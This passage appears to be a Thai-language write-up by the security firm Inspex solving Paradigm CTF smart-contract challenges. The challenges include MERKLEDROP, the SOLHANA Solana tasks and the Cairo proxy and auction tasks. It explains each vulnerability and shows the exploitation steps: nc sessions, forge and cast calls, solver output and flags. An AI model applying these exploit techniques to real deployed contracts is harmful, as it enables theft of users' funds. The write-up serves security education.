runtime bytecode: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033
you didn't factor the number. 36303988286885487241881563943446880517349042511396977973869722935105628174645 * 43057057880393007403564109894319249048263545241531721173866963997594434404352 != 47914332001412349049026046261367819686545943268066325658829054066493538297033

จากผลลัพธ์ จะเห็นว่าเราไม่ได้แยกตัวประกอบได้อย่างถูกต้อง แต่ output ที่ส่งออกมานั้นคือ bytes ของ flag ที่เรา encode ไว้ เราสามารถใช้ Python เพื่อ decode ค่ากลับมาเป็น string ได้ดังนี้

$ ipython
Python 3.8.10 (default, Jun 22 2022, 20:18:18)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.23.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: from Crypto.Util.number import long_to_bytesIn [2]: long_to_bytes(36303988286885487241881563943446880517349042511396977973869722935105628174645)
Out[2]: b'PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5'
In [3]: long_to_bytes(43057057880393007403564109894319249048263545241531721173866963997594434404352)
Out[3]: b'_1n_4_c7f}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Flag: PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5_1n_4_c7f}

MERKLEDROP

CHALLENGE: MERKLEDROP
AUTHOR: Riley Holterhus
TAGS: PWN
DESCRIPTION: Were you whitelisted?
ACCESS: nc 35.188.148.32 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/merkledrop.zip

โจทย์ข้อนี้เป็นข้อเกี่ยวกับการแจก airdrop โดยใช้ Merkle tree ในการตรวจสอบผู้รับ airdrop

File structure

  • contracts/Setup.sol จะมี 2 contract คือ Token และ Setup ที่ไว้ใช้ deploy MerkleDistributor contract และมี function isSolved() ไว้ตรวจผลของโจย์
  • contracts/MerkleDistributor.sol จะเป็น contract ที่ถือ airdrop reward และมี function claim() ไว้แจกจ่าย airdrop
  • contracts/MerkleProof.sol เป็น Library ที่มี function verify() ไว้เพื่อตรวจสอบความถูกต้องของ Merkle tree.
  • tree.json เป็น list ของ address, claim amount และ index ของผู้ที่ได้รับ airdrop ใน Merkle tree

เป้าหมายของโจทย์นี้คือการดึง airdrop reward ทั้งหมดออกจาก contract โดยที่ไม่ได้มาจากการ claim airdrop ทั้งหมด (ด้วยวิธีปกติ)

contracts/Setup.sol

ใน MerkleProof contract จะมีแค่ verify() function ตามปกติซึ่งไว้ใช้เพื่อตรวจสอบความถูกต้องของข้อมูลที่ส่งเข้ามา

contracts/MerkleProof.sol

มีจุดที่น่าสนใจใน MerkleDistributor contract โดย function claim() นั้นรับ index, address, amount, และ array ของ merkleProof เพื่อทำการ claim airdrop และจะโอน reward ไปให้ address ที่ใส่เข้ามาเท่ากับ amount ที่ใส่เข้ามา

โดยตอนนี้เราสามารถผ่านเงื่อนไขแรกได้ด้วยข้อมูลจากไฟล์ tree.json แต่ยังติดเงื่อนไขที่สอง

contracts/MerkleDistributor.sol

ถ้าหากลองดูให้ดี จะเห็นว่า MerkleDistributor contract และ MerkleProof contract นั้นมีการใช้งาน function keccak256() ที่ไม่เหมือนกัน

contracts/MerkleDistributor.sol
contracts/MerkleProof.sol

โจทย์มีการใช้ function abi.encodePacked() ในทั้ง MerkleDistributor contract และ MerkleProof contract

ใน MerkleDistributor contract function abi.encodePacked() นั้นรับ uint256(index), address(account), และ uint96(amount) โดยผลลัพธ์จะมีขนาด = 32 bytes(uint256) + 20 bytes (address) + 12 bytes (uint96) = 64 bytes

ทำนองเดียวกันกับ MerkleProof contract ตัวผลลัพธ์ของ function abi.encodePacked() จะมีขนาด 32 bytes (byte32) + 32 bytes (byte32) = 64 bytes ซึ่งผลลัพธ์ของทั้งคู่นั้น “บังเอิญ(?)” เท่ากันพอดี

ดังนั้นเราสามารถใช้ proof ที่ต่อกัน (ผลลัพธ์จาก abi.encodePacked() ใน MerkleProof) แทน leaf ได้ โดย จะแบ่งเป็น uint256(index), address(account) และ uint96(amount) และใช้ในการเรียก function claim() เพราะใน function verify() นั้นไม่สามารถแยกระหว่าง leaf หรือ node ได้ ทำให้ผ่านการตรวจได้

หากเราสามารถหา node ที่มีค่า index, address, และ amount ที่อยู่ใน Merkle tree และ มีค่า amount รวมกับ claim อื่น ๆ ที่เหลือแล้วเท่ากับ reward ทั้งหมดพอดี ก็จะสามารถผ่านข้อนี้ได้

เราจึงเขียนโปรแกรมด้วยภาษา Go เพื่อหา node ที่เข้ากันกับเงื่อนไขทั้งหมดข้างต้น

merkledrop-solver/main.go
merkledrop-solver/main.go

หลังจากรันโปรแกรมก็ได้ผลลัพธ์ที่ต้องการ เราจะต้องทำการ claim 2 รอบ โดยในครั้งแรกจะต้อง claim ด้วยค่าต่อไปนี้

  • index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
  • account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
  • amount: 0xf40f0c122ae08d2207b
  • proofs: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d, 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde, 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813, 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c, 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]

ค่า index จะเป็นค่าของ proof แรก 32 bytes ส่วนค่า account จะเป็น 20 bytes แรกของ proof ที่สอง และค่า amount จะเป็น 12 bytes ที่เหลือของ proof ที่สอง

$ go build
$ ./merkledrop-solver
[+] Found a good node that can be used
Raw Node: d43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b
Index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
Account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
Amount: 0xf40f0c122ae08d2207b
Proof: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]
[*] SubsetSum has been found (please claim the following)
Index: 8
Account: 0x249934e4C5b838F920883a9f3ceC255C0aB3f827
Amount: 0xa0d154c64a300ddf85
Proof: [0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00 0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3 0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2 0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]
-------------------------------------------------------------

ภาพนี้แสดงถึงการทำ Merkle tree verification เมื่อทำการ claim ที่ index 37

ส่วนภาพต่อไปนี้แสดงถึงการทำ Merkle tree verification เมื่อทำการ claim โดยใช้ 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442 เป็นค่า index, ใช้ 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a เป็นค่า account และใช้ 0xf40f0c122ae08d2207b เป็นค่า amount

โดยค่าที่ได้จากการคำนวณ node จะเท่ากับ 0x225de26d438b50d8... เหมือนเดิม ซึ่งจะยังคงถูกต้องเหมือนในภาพก่อนหน้า

เมื่อเจอค่าที่ต้องการแล้วเราก็นำมาเขียน contract เพื่อทำการแก้โจทย์ข้อนี้

contracts/Exploit.sol

เชื่อมต่อไป server เพื่อ สร้าง instance

$ nc 35.188.148.32 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: 8115689c-c95d-4c80-8193-77a2baa2649c
rpc endpoint: http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c
private key: 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a
setup contract: 0x5813ba57FedC9d79348E4D596BeE61842f2101A9

จากนั้น deploy Exploit contract

$ forge create --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a contracts/Exploit.sol:Exploit
[⠢] Compiling...
No files changed, compilation skipped
Deployer: 0xA5D642447Ff6d8Cc08B07FBc2aede0117b05afa8
Deployed to: 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c
Transaction hash: 0xcb30e8c293a665788412b6719a2240ff9116b55fb1a676dd1ac13cfef2ee0f20

เรียก function merkleDistributor() เพื่อหา address ของ MerkleDistributor contract ที่ถูก deploy

$ cast call --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0x5813ba57FedC9d79348E4D596BeE61842f2101A9 "merkleDistributor()"
0x00000000000000000000000041daeba481da7cfaf2975439551cc784d35ce784

ขั้นต้อนสุดท้ายเรียก function exploit() พร้อมกับ address ของ MerkleDistributor contract

cast send  --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c "exploit(address)" -- 0x41daeba481da7cfaf2975439551cc784d35ce784

เชื่อมต่อ server อีกครั้งเพื่อรับ flag

$ nc 35.188.148.32 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e
PCTF{N1C3_Pr00F_8r0}

Flag: PCTF{N1C3_Pr00F_8r0}

Solana

OTTER-WORLD

CHALLENGE: OTTER-WORLD
AUTHOR: NotDeGhost
TAGS: SANITY-CHECK
DESCRIPTION: Otter World!
ACCESS: nc 34.72.24.70 8080
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/otter-world.tar.gz

โจทย์ข้อนี้เป็นโจทย์ทดสอบเบื้องต้นสำหรับ Solana

main.rs

เป้าหมายของข้อนี้คือการเรียก get_flag() function ด้วยค่า magic parameter ที่ถูกต้องซึ่งก็คือ 0x1337 * 0x7331

โดยในโจทย์มีการให้โครงสำหรับการเขียน script เพื่อแก้โจทย์ไว้เรียบร้อยแล้วดังนี้

client/framework-solve/solve/programs/solve/src/lib.rs

ตามที่มีโน้ตไว้ว่า /* TODO */ ที่บรรทัดที่ 22 เราสามารถเติม * 0x7331 เข้าไปเพื่อให้ตรงกับค่าของ magic ที่ต้องการได้เลย

client/framework-solve/solve/programs/solve/src/lib.rs

หลังจากนั้น เราต้องไปแก้ไข IP address ของ server ที่เราจะไปเชื่อมต่อด้วย

client/framework-solve/src/main.rs

และเมื่อรัน script ก็จะได้รับ flag กลับมา

$ ./run.sh
...
congrats!
flag: "PCTF{0tt3r_w0r1d_8c01j3}"

Flag: PCTF{0tt3r_w0r1d_8c01j3}

SOLHANA-1

CHALLENGE: SOLHANA-1
AUTHOR: hana (@dumbcontract2)
TAGS: PWN
DESCRIPTION: theres a brand new ponzi scheme in town that lets people deposit and withdraw their bitcoin. why would they want to do this? no one knows
ACCESS: nc 35.188.83.0 3000
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz

โจทย์ข้อนี้มีการให้ source code ของ server ที่ตรวจสอบ account state เพื่อเช็คว่าสามารถแก้โจทย์ได้ถูกต้องหรือไม่ โดยจะส่ง flag กลับมาเมื่อ account state ตรงตามเงื่อนไข

File Structure

  • chain/: source code ของ Solana program ที่ใช้เป็นโจทย์ เราสามารถอ่านและวิเคราะห์ช่องโหว่ของโจทย์ได้จากไฟล์ในนี้
  • client/: โครงสำหรับการเขียน script เพื่อเชื่อมต่อไปที่ server และทำการโจมตี
  • elf/: ไฟล์โจทย์ Solana program ในรูปแบบ BPF binary ที่ถูก compile แล้ว สามารถใช้เพื่อทดสอบในฝั่ง local ได้โดยใช้ solana-test-validator
  • server/: ไฟล์ server ของโจทย์ที่ทำหน้าที่ setup ตัวโจทย์

ข้อ SOLHANA-1 นี้คือ platform ที่เปิดให้ user สามารถมาฝากและถอน token ได้

server/src/challenge.rs

โดยเงื่อนไขที่จะผ่านข้อนี้ได้คือต้องทำให้ balance ของ deposit_account กลายเป็น 0

server/src/challenge.rs

ซึ่งในตอนแรก Satoshi จะ mint 10 Bitcoin และฝาก (ผ่าน deposit() function) ไปยัง deposit_account ดังนั้นเราจึงต้องเอา Bitcoin ส่วนนี้ออกจาก account ให้ได้

เราลองมาดูที่ Solana program ของโจทย์ว่า user สามารถทำอะไรได้บ้าง

chain/programs/challenge1/src/lib.rs
  • setup_for_player() — สร้าง state account ที่เก็บข้อมูลสำหรับ player
  • deposit() — ฝาก token จาก depositor account ไปยัง deposit account และ mint (สร้าง) voucher token ให้กับ depositor_voucher account.
  • withdraw() — ถอน token ที่ฝากไว้จาก deposit account กลับมาที่ depositor account และ burn (ทำลาย) voucher token จาก depositor_voucher account.

โดยเราจะพอเดาได้ว่าการที่จะผ่านข้อนี้น่าจะต้องเล่นกับ deposit() และ withdraw() function เนื่องจาก 2 functions นี้จะทำให้ balance ของ account เปลี่ยนแปลงได้

โดยใน withdraw() function นั้นเราสามารถที่จะถอน Bitcoin ของออกไปให้คนอื่นได้ (ทำให้ balance เป็น 0) แต่ว่าจะมี requirement คือ จะต้องมี voucher token ใน depositor_voucher_account ก่อนเพื่อใช้สำหรับ burn ซึ่ง ณ ตอนนี้ player ไม่มี voucher token ใน account เลย

แล้วถ้าเกิดว่า เราสร้าง voucher ปลอมขึ้นมาล่ะ จะสามารถใช้ withdraw ได้่มั้ย เราลองมาดูที่ code ในส่วนที่ตรวจสอบ account กันว่า attack scenario ของเราสามารถทำได้หรือไม่

chain/programs/challenge1/src/lib.rs

จาก code จะเห็นว่า ตัวโปรแกรมตรวจสอบแค่ว่า voucher_mint account มี mint::authority = state และ token::decimals = deposit_mint.decimals หรือไม่

ดังนั้นเราสามารถโจมตีได้ด้วยขั้นตอนต่อไปนี้

  1. สร้าง voucher program ปลอมขึ้นมาที่มีจำนวนทษนิยมเท่ากับ Bitcoin (6 decimals)
  2. Mint อย่างน้อย 10 voucher ให้กับ player เพื่อใช้ในการ burn ระหว่างการถอน
  3. โอน authority ของ account ไปให้ state account
  4. ถอนเงินจาก deposit_account account โดยใช้ voucher ปลอมที่สร้างขึ้นมา

โดย script การโจมตีที่ทางทีมใช้เพื่อผ่านโจทย์เป็นดังนี้

challenge1.js

เมื่อรัน script ก็จะได้ flag ออกมา

win! your flag is: PCTF{unsafe_voucher_vouched_vouchsafely}

Flag: PCTF{unsafe_voucher_vouched_vouchsafely}

SOLHANA-2

CHALLENGE: SOLHANA-2
AUTHOR: hana (@dumbcontract2)
TAGS: PWN
DESCRIPTION: theres a brand new ponzi scheme in town that lets people deposit and withdraw their ethereum. why would they want to do this? no one knows
ACCESS: nc 35.188.83.0 3000
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz

ในโจทย์ SOLHANA-2 นั้นจะเหมือนกับข้อ SOLHANA-1 เพิ่มเติมคือมี liquidity pool และ function swap แบบ AMM

เราได้แก้โจทย์ข้อนี้ผ่านการจำลองใน local แต่ด้วยเหตุผลบางอย่างทำให้ไม่สามารถแก้แบบเดียวกันเพื่อรับ flag จากฝั่ง server ได้ ทั้งนี้รายละเอียดต่อไปนี้จึงอาจจะไม่ตรงกับ intended solution แต่เราหวังว่ามันจะช่วยให้คุณเข้าใจโจทย์ข้อนี้มากขึ้น

เงื่อนไขในการผ่านข้อนี้คือต้องทำให้จำนวนรวม token ของทั้ง 3 pool จะต้องน้อยกว่าหรือเท่ากับ 150_000_000

server/src/challenge.rs

โจทย์จะเริ่มต้นมาด้วย 3 liquidity token pool ไว้สำหรับทำการ swap โดยประกอบไปด้วย wo_eth (8 decimals), so_eth (6 decimals), and st_eth (8 decimals) และให้จำนวน token มา 100_000_000 ในแต่ละ pool account โดยสำหรับ player อย่างเราจะได้แค่ 1_000 ในแต่ละ account

server/src/challenge.rs
server/src/challenge.rs

เรามาเริ่มที่ function add_pool() และ swap()

ใน function add_pool() จะเพิ่ม pool ใหม่เข้าไปใน pool array ของ state account โดยไม่ได้ตรวจสอบว่าจะทับของเก่าที่มีอยู่หรือไม่ นี่อาจจะเป็นจุดที่ทำให้เกิดปัญหาในข้อนี้ก็เป็นได้

add_pool()

ส่วนใน function swap() นั้น ระหว่างการ swap token จะมีการ validate ตัว token amount ในกรณีที่ input และ output token มีจำนวน decimal ต่างกัน และ pool account ที่ส่งเข้ามาจะต้องมีอยู่ใน pool array ของ state account จากนั้นจะโอน input token ไปที่ pool account แล้วจึงโอน output token จาก pool account กลับไปให้ user

swap()
Swap struct

อ่านมาถึงตรงนี้ก็สงสัยขึ้นมาว่า ถ้าเราเรียก function add_pool() เพื่อทำการ add fake token (8 decimals) เข้าไปใน pool array ของ state account ซึ่งจะส่งผลให้เราสามารถที่จะ swap fake token เป็น token อื่นได้ โดยเราจะต้อง mint fake token ให้ player ด้วยเพื่อนที่จะมี balance ไป swap

จากนั้นก็เรียก function swap() เพื่อ swap fake token ของเราเป็น token อื่นทั้งหมด ในที่นี้จะเป็น token wo_eth และ token st_eth ซึ่งจะส่งผลให้เราดึงจำนวน token ทั้งหมด ออกจาก pool account ดังนั้น ยอดจำนวนรวม token ในแต่ละ pool จะเป็น 0 (wo_eth), 100_000_000 (so_eth), 0 (st_eth) และผลรวมจะมีค่าเท่ากับ 100_000_000 ซึ่งน้อยกว่า 150_000_000 ตรงตามที่โจทย์ต้องการ

เราเขียน script ด้านล่างเพื่อแก้โจทย์ข้อนี้และทดสอบบน local

challenge2.js
challenge2.js
challenge2.js

Cairo

RIDDLE-OF-THE-SPHINX

CHALLENGE: RIDDLE-OF-THE-SPHINX
DESCRIPTION: What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?
ACCESS: nc 35.193.19.12 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip

โจทย์ข้อนี้เป็นโจทย์ทดสอบเบื้องต้นสำหรับ Cairo (Starknet) โดยจะมีไฟล์ riddle.cairo และ chal.py มาให้ดังต่อไปนี้

riddle.cairo
chal.py

โดยการที่จะผ่านข้อนี้ไป เราจะต้องเซ็ตค่า _solution ให้เป็น “man” (0x6d616e) ตามที่มีการเช็คใน function checker ใน chal.py

เมื่อรู้เป้าหมายของโจทย์แล้วเราจึงทำการสร้าง instance ของโจทย์และเขียน script โดยในที่นี้เราจะใช้ “starknet.py” เพื่อเรียก function solve() ด้วยค่า 0x6d616e

$ nc 35.193.19.12 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
[+] deploying riddle
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: b05e6d76-d572-4fe6-9d91-8c13e9ec39f7
rpc endpoint: http://b05e6d76-d572-4fe6-9d91-8c13e9ec39f7@35.193.19.12:5050
private key: 0x5544e5e246a2527f6d7ab7dabdcf24cd
contract: 0x51c0e03e96c6a8073c5a83b4975c0a6b801e72cc466e0a0b73f63832238e836
solveRiddle.py

หลังจากรัน script แล้วเราก็จะสามารถ connect กลับไปที่ server อีกครั้งเพื่อรับ flag ของข้อนี้ได้

$ python3 solveRiddle.py
$ nc 35.193.19.12 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
PCTF{600D_1UCK_H4V3_FUN}

Flag: PCTF{600D_1UCK_H4V3_FUN}

CAIRO-PROXY

CHALLENGE: CAIRO-PROXY
DESCRIPTION: Just a simple proxy contract
ACCESS: nc 35.226.167.223 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/cairo-proxy.zip

โจทย์ข้อนี้จะมีไฟล์ Cairo ทั้งหมด 3 ไฟล์มาให้ ประกอบไปด้วย:

  • almost_erc20.cairo: ERC20 token implement ด้วย Cairo
  • proxy.cairo: proxy contract ใช้เพื่อเรียก function ใน implementation contract ผ่าน fallback function โดย state ต่าง ๆ จะถูกเก็บใน proxy contract
  • utils.cairo: utility contract ที่มี function ในการเขียนและอ่าน storage โดยตรง
proxy.cairo

เมื่อเราลอง compile proxy.cairo contract แล้วจะเห็นว่า function auth_write_storage() นั้นได้ถูก import เข้ามาด้วยจาก utils.cairo contract ด้วย ทำให้เรา สามารถเขียนข้อมูลลงไปใน storage ไหนก็ได้

$ starknet-compile proxy.cairo --output proxy_compiled.json --abi proxy_abi.json
proxy_abi.json

จากไฟล์ chal.py จะเห็นว่าเป้าหมายของเราคือการทำให้ balance ของ player เท่ากับ 50000e18

chal.py

จากนั้น ทำการสร้าง instance และ เขียน script เรียก function auth_write_storage() เพื่อทำการเซ็ตค่า balance ของ player ให้เป็น 50000e18

$ nc 35.226.167.223 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
[+] deploying erc20
[+] deploying proxy
[+] initializing contracts
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: ad90e214-daa1-4d8a-84a7-07d5e19cbb88
rpc endpoint: http://ad90e214-daa1-4d8a-84a7-07d5e19cbb88@35.226.167.223:5050
private key: 0xb9ead7dbeea0bc762872eb4151beb545
contract: 0x4a1002d5de3333850793db0d87b2f129f9363981dbd29b0c96d38c7b71d1d6c
solveCairoProxy.py

หลังจากรัน script แล้วก็จะสามารถเชื่อมต่อเพื่อเข้าไปรับ flag ของข้อนี้ได้

$ python3 solveCairoProxy.py
Done!
$ nc 35.226.167.223 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
PCTF{d3f4u17_pu811c_5721k35_4941n}

Flag: PCTF{d3f4u17_pu811c_5721k35_4941n}

CAIRO-AUCTION

CHALLENGE: CAIRO-AUCTION
AUTHOR: BitBaseBit, and Mauricio Perdomo
TAGS: PWN
DESCRIPTION: Just a simple auction contract
ACCESS: nc 34.132.254.35 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/cairo-auction.zip

nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
[+] deploying erc20
[+] deploying auction
[+] initializing contracts
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: be377312-17e7-46f0-9ca3-441954bf8fb4
rpc endpoint: http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
private key: 0x4a854d8b84ad09278aa8ecb7a156062e
contract: 0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912

โจทย์ข้อนี้จะเป็นการจำลอง auction platform ด้วย Cairo โดยเป้าหมายคือเป็นผู้ชนะการประมูลให้ได้ จากไฟล์ chal.py จะเห็นได้ว่ามีการจำลองผู้เข้าร่วมประมูลคนอื่นอีก 2 คนที่เสนอราคาที่ 100000e6 tokens ในขณะที่โจทย์ได้เตรียมไว้ให้เราแค่ 50000e6 tokens

chal.py

จะเป็นผู้ชนะการประมูลได้จะต้องเรียก function raise_bid() เพื่อให้ new_balance มีค่ามากกว่า winning_bid ปัจจุบัน

auction.cairo

ในขณะที่ function unlock_funds() มีไว้เพื่อปลดล็อคเงินที่ใช้ประมูล โดยไปจะหักลบจำนวนในกระเป๋าประมูลหรือค่า _auctionBalances

auction.cairo

แต่ว่า Uint256 ใน Cairo คือ struct ของ felt 2 ตัว (https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14) โดยค่า felt ใน Cairo เป็นค่า Integer ที่สามารถ เป็นค่าติดลบได้หากไม่มีการตรวจสอบให้ดี

หากเราทำการเรียก function unlock_funds() โดยใส่ amount เป็นค่าติดลบ -100000000001 เพื่อที่จะเพิ่มค่า _auctionBalances (ลบด้วยค่าติดลบจะเป็นการบวก) ให้มากกว่า winning_bid ปัจจุบัน
หลังจากนั้นก็ทำการเรียก function raise_bid() ด้วยค่า 0 จะเป็นการเสนอเงินเพิ่ม 0 แต่ในเมื่อค่า _auctionBalances ของเราได้เพิ่มเป็น 100000000001 ไปแล้วจะทำให้เราชนะการประมูลได้

เมื่อรู้ดังนี้เราจึงสร้าง instance และทำการเขียน script ตามที่คิดไว้โดยค่า -100000000001 จะมีค่าเท่ากับ max felt (2**251+17*2**192+1) ลบด้วย 100000000001 แล้วเซ็ตไปใน low bit ของ Uint256 amount

$ nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
[+] deploying erc20
[+] deploying auction
[+] creating bidders
[+] initializing contracts
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: be377312-17e7-46f0-9ca3-441954bf8fb4
rpc endpoint: http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
private key: 0x4a854d8b84ad09278aa8ecb7a156062e
contract: 0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912
solveCairoAuction.py
$ python3 solveCairoAuction.py
http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
StarknetChainId.TESTNET
player_address: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35
My Auction Balance: Result(balance=0)
Current Winner: 0x4b855e8f7aaa622adf4d7c0af1d13cfc0ff6c7b97450b527172e17a600ac227
Current Winner Auction Balance: Result(balance=100000000000)
Unlock negative
My Auction Balance: Result(balance=100000000001)
Raise bid
My Auction Balance: Result(balance=100000000001)
Current Winner: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35
Current Winner Auction Balance: Result(balance=100000000001)
$ nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}

Flag: PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}

About Inspex

Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.

For any business inquiries, please contact us via Twitter, Telegram, contact@inspex.co

--

--

Inspex

Cybersecurity professional service, specialized in blockchain and smart contract auditing https://twitter.com/InspexCo